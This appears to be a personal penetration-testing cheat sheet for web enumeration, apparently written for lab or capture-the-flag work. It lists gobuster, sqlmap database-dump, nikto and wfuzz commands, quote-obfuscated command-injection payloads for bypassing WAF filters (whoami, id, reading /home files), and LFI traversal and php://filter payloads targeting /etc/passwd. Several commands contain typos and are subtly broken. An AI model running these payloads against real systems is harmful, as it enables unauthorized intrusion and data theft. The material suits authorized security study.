# Web Enumeration:

Note: GOOGLE EVERYTHING, Do not take anything for granted, It might be the CLUE

#### [+] View the source code

### [+] Curl the site:

```
curl http://IPaddress | check if the website has hidden useful metadata
curl -o output.txt http://IPaddress
curl -i http://IPaddress
```

### [+] Proxy the request and check the GET and POST requests

### [+] Gobutser / Dirbuster: Enumerate the site for hidden directories

```
gobuster -u http://IPaddress -w /user/share/dirbuster/directory/-list-2.3-
medium.txt -t 15

gobuster -u http://IPaddress -w WordList -x php,old,bak

gobuster -u https://IPaddress -k -w WordList -x ex:php, old, bak >> SSL
```

# [+] Use Wapplyzer add-on on Firefox for detecting the site technologies

#### \_\_[+] Framework Manual Enumeration

• Check what type and version of framework the site is running on:

```
Examples: Wordpress, Nibbleblog, Jeeves

Check README, to find the version of the framework
```

### [+] Login Pages:

- View the source page, there might be debugging information
- Curl the page; maybe it contains some information

- Try default credentials
- Try SQL common injections

### [+] SQLMap:

Note: always try either directly the website or in a request form

```
sqlmap -r login.req --level 4 --risk 3
note: login.re is a POST resquest copied from Burpsuite

sqlmap -u [domain or ip_address] --form --dbs --batch

sqlmap -u [domain /or IP ] -D database_name --dump-all --batch

sqlmap -r login.req --force-ssl -dbms=mysql --tables

sqlmap -r login.req --force-ssl -dbms=mysql -T [table Name] --columns

sqlmap -r login.req --force-ssl -dbms=mysql -T [table Name] --dump-all

sqlmap -r login.req --force-ssl -dbms=mysql -T [table Name] -C column1, column2 --dump
```

### [+] Nikto: fingerprint the website:

nikto -host <a href="http://IPaddress">http://IPaddress</a> -o output.txt

## [+] Fuzzing Requests Manually:

- Try to put different input in User Agent or Accept parameters and view the responses on the proxy
- Intercept the get and post requests client and server responses with [Burpsuite]
- Mainupulate the URL: fuzz it manually

## [+] Web Fuzzing

webfuzz -u http://IP\_address/FUZZ --hw=1 --hh=3076 -w wordlist | Fuzzing for Enumeration

wfuzz -w /usr/share/wordlists/dirb/common.txt -u http://IP\_address/dirName?FUZZ=Is -c --hh 19

note: Fuzzing for bypassing WAF filter. 19 is the number of the repeatative characters

### [+] Bypassing WAF Filters:

 Manually change the request inputs and check for chnages or anamolies with Burpsuite. Things to fuzz manually:

```
- GET or POST first line
```

- User Agent: remove the agent name with a different input.observer the changes
- Find the right parameters

```
wfuzz -w /usr/share/wordlists/dirb/common.txt -u http://IP_address/dirName? FUZZ = Is -c --hh \ Number
```

• Find the allowed and not allowed characters:

wfuzz -w /usr/share/Seclist/Fuzzing/special\_chars.txt -u http://IP\_address/dirName? Parameter=FUZZ

• Try space and no space before and after the parameter:

```
Ex: ' 1s -la'
    single ['] is allowed is this case

Ex: ' 1\s -\1\a'
    single ['] is allowed is this case

Ex: ' 1%2Fs -%2F1%2Fa'
    try enconding the special characters [URL encoding]

Ex: " 1%2Fs -%2F1%2Fa"
    Double quotes
```

```
Ex: "l\s -\l\a"
    Double quotes

Ex: "IP_Address/sync?opt=' whoami' "
    "IP_Address/sync?opt=' id'"
    "IP_Address/sync?opt=' u'n'ame -a' "
    "IP_Address/sync?opt=' l's' /home'"
    "IP_Address/sync?opt=' l's' /home/Fl'uxC'apa'cit'orI'n'c'"
    "IP_Address/sync?opt==' c'at' /home/Fl'uxC'apa'cit'orI'n'c/u'ser'.'txt
```

### [+] Dirb

```
dirb http://IPaddress
```

### [+] Local File Inclusion

- Examples: www.examples.com/index.php?note=files/note.txt
- Include function indicates a possibility of exploitation through include shells | PHP
- In case of LFI, try a php wrapper

```
vulnerable url: www.examples.com/index.php?note=files/note.txt
php wrapper: www.examples.com/index.php?
note=php://filter/convert.base64encode/resource=files/note.txt
```

#### [+] LFI filtering:

- Baisc exmple Ex: ../../../etc/passwd | bypass >> ..././..././etc/passwd
- Other ways to bypass LFI filters | Github: File Inclusion Path Traversal PayloadsAllTheThings by swisskyrepo

#### [+] XML Uploads: can be used to read file and private keys

# [+] XHTTP Requets and Responses

- XHTTP == Ajax [try using JSON decoder for requests]
- try Json decoder to read php files

JSON.parse(readFile('FileName.php')).file

### [+] FireFox Developer Tools

· Debugg JS with Firegox debugger